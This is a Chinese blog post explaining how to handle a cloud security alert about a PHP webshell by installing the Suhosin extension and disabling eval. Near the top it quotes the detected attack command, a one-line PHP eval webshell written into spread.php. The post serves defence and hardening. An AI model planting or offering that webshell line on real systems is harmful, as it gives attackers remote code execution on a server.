解决关于eval函数的可疑Webshell写入行为

云盾检测到后门文件

命令如下:sh -c echo ^<?php @eval($_POST[spread]);?^> >>spread.php

eval为常用的木马入侵函数 我们需要禁止此函数的使用

 版本

 

php 5.4以下对应版本      https://download.suhosin.org/suhosin-0.9.38.tar.gz

php5.4 5.5 5.6 对应版本      https://github.com/sektioneins/suhosin

php 7.X对应版本       https://github.com/sektioneins/suhosin7

1.安装Suhosin扩展(注意php版本 此为5.6版本的安装方法)

①运行命令:wget https://github.com/sektioneins/suhosin/archive/master.zip
②运行命令:unzip master.zip 
③运行命令:cd suhosin-master/
④运行命令:which phpize
    ⑤运行命令:rpm -qf /usr/bin/phpize      #确定phpize为要安装suhosin扩展的php版本
⑥运行命令:phpize 
⑦运行命令:which php-config
⑧运行命令:rpm -qf `which php-config`   #确定php-config为要安装suhosin扩展的php版本
⑨运行命令:./configure --with-php-config=/usr/bin/php-config
⑩运行命令:make && make install
⑪在php.ini 末尾添加下两行代码extension=suhosin.so
suhosin.executor.disable_eval = on
运行命令:service php-fpm restart  #重启php-fpm
运行命令:service nginx restart  #重启nginx

注意易错处:
⑨运行命令:./configure --with-php-config=/usr/bin/php-config
注意自己的php-config文件位置 修改成自己的正确路径

测试是否成功禁止eval函数:

运行以下代码提示 SUHOSIN - Use of eval is forbidden by configuration 
及代表安装成功 也可以打开探针【phpinfo()】搜索Suhosin
  <?php
    $string = '杯子';
    $name = '咖啡';
    $str = '这个 $string 中装有 $name.<br>';
    echo $str;
    eval("\$str = \"$str\";");
    echo $str;
  ?>
posted @ 2021-05-15 17:31  靓仔姓曹  阅读(589)  评论(0编辑  收藏  举报
  
爱,其实很简单,困难的是去接受它。